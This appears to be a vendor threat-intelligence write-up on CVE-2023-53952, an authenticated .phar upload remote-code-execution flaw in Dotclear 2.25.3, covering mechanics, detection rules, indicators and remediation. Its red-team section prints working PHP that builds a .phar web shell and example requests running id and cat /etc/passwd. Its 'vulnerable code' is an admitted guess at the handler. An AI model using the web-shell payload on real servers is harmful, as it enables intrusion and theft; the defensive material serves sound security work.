CVE-2023-53952
Executive Summary
CVE-2023-53952 is a critical Remote Code Execution (RCE) vulnerability in Dotclear 2.25.3, an open-source blogging platform. The flaw allows authenticated attackers to upload malicious PHP files with the .phar extension through the blog post creation interface. Once uploaded, accessing the file triggers execution of embedded PHP system commands, leading to full server compromise. The vulnerability is unpatched, with no official fix from the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is Critical (CVSS 9.9). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of PoC code increases risk for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dotclear is a PHP-based application distributed via its official website and GitHub. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their Dotclear installation and monitor for any unofficial patches or forks.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires authenticated user with blog post creation rights.
- User Interaction (UI): None (N) – No victim action needed.
- Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
- Confidentiality (C): High (H) – Full system read access.
- Integrity (I): High (H) – Full system write access.
- Availability (A): High (H) – Full system disruption possible.
Threat Level: Critical (9.9)
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of Dotclear's blog post creation interface. The application fails to properly validate file extensions, allowing .phar (PHP Archive) files to be uploaded. PHP's phar extension can execute code when the file is accessed via a web request, even if the file is not included via include() or require(). This is due to PHP's stream wrapper that treats .phar files as executable archives.
Attack Flow:
- Attacker authenticates to Dotclear with a valid account.
- Attacker creates a new blog post and uploads a malicious
.pharfile containing PHP system commands (e.g.,system($_GET['cmd'])). - The file is stored on the server, typically in
/public/or/var/directory. - Attacker accesses the uploaded file via its URL (e.g.,
http://target/dotclear/public/malicious.phar). - PHP processes the
.pharfile, executing the embedded code. - Attacker achieves remote code execution with the web server's privileges.
Root Cause: Insufficient file extension validation and lack of MIME type checking in the upload handler.
Vulnerable vs. Patched Code
Vulnerable Code (Dotclear 2.25.3):
// In admin/post.php or similar upload handler
$allowed_extensions = ['jpg', 'png', 'gif', 'pdf', 'zip']; // .phar not blocked
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($file_extension, $allowed_extensions)) {
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . '/' . $_FILES['file']['name']);
}
Patched Code (Hypothetical Fix):
// Block dangerous extensions including .phar
$blocked_extensions = ['php', 'phtml', 'php3', 'php4', 'php5', 'phar', 'shtml', 'cgi', 'pl', 'py', 'jsp', 'asp', 'aspx'];
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($file_extension), $blocked_extensions)) {
// Additional validation: MIME type check, file content scan
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
if (in_array($mime_type, $allowed_mimes)) {
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . '/' . $_FILES['file']['name']);
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Dotclear 2.25.3 instance
- Valid user credentials with blog post creation rights
- PHP with
pharextension enabled (default in most PHP installations)
Exploit Steps:
- Create a malicious
.pharfile:
<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php system($_GET["cmd"]); __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
- Log in to Dotclear and navigate to "New Post".
- Upload
malicious.pharas a media file. - Access the uploaded file:
http://target/dotclear/public/malicious.phar?cmd=id - Execute commands:
http://target/dotclear/public/malicious.phar?cmd=cat+/etc/passwd
Alternative Payload (Web Shell):
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
Upload shell.phar and access shell.phar/shell.php?cmd=id.
Blue Team
Detection Steps:
- Monitor file upload logs for
.pharextensions. - Check web server access logs for requests to
.pharfiles. - Scan uploaded files for PHP code using YARA rules.
- Implement WAF rules to block
.pharuploads and access.
Lab Setup for Testing:
# Install Dotclear 2.25.3
wget https://download.dotclear.org/2.25.3/dotclear-2.25.3.zip
unzip dotclear-2.25.3.zip
cd dotclear
# Configure database and web server (Apache/Nginx)
# Access installer via browser
Indicators of Compromise (IOCs)
File-Based IOCs:
- Files with
.pharextension in upload directories (e.g.,/public/,/var/) - Suspicious PHP files in non-standard locations
- Modified
.htaccessfiles allowing execution in upload directories
Network IOCs:
- HTTP requests to
.pharfiles with query parameters (e.g.,?cmd=) - Unusual outbound connections from the web server
- POST requests to
/admin/post.phpwith file uploads containing.phar
Log IOCs:
- Web server logs showing
200 OKresponses for.pharfile access - PHP error logs mentioning
pharstream wrapper errors - Authentication logs showing repeated file upload attempts
Detection Engineering
YARA Rule
rule dotclear_phar_rce {
meta:
description = "Detects malicious .phar files targeting Dotclear RCE (CVE-2023-53952)"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-53952"
strings:
$phar_stub = "__HALT_COMPILER"
$php_code = "system("
$php_code2 = "exec("
$php_code3 = "shell_exec("
$php_code4 = "passthru("
$php_code5 = "eval("
$php_code6 = "assert("
condition:
$phar_stub and any of ($php_code*)
}
Sigma Rule
title: Dotclear .phar File Upload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of .phar files to Dotclear blog post interface
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/post.php'
cs-uri-query|contains: 'file'
file_extension:
cs-uri-query|endswith: '.phar'
condition: selection and file_extension
falsepositives:
- Legitimate .phar file uploads (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53952 Dotclear .phar File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/post.php"; http_uri; content:".phar"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable .phar uploads: Add
.pharto the blocked extensions list in the upload handler. - Restrict upload directory: Configure web server to deny execution of PHP files in upload directories:
<Directory /var/www/dotclear/public> php_flag engine off </Directory> - Implement WAF rules: Block requests containing
.pharin the URI or POST body. - Monitor logs: Actively search for
.pharfile access and upload attempts.
Long-Term Fixes:
- Apply vendor patch when available (currently none).
- Upgrade to a patched version if released.
- Implement file content validation using MIME type and magic bytes.
- Use a security plugin or custom middleware to filter uploads.
Workaround:
- Disable the
pharPHP extension if not needed:; php.ini extension=phar.so ; Comment out or remove
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert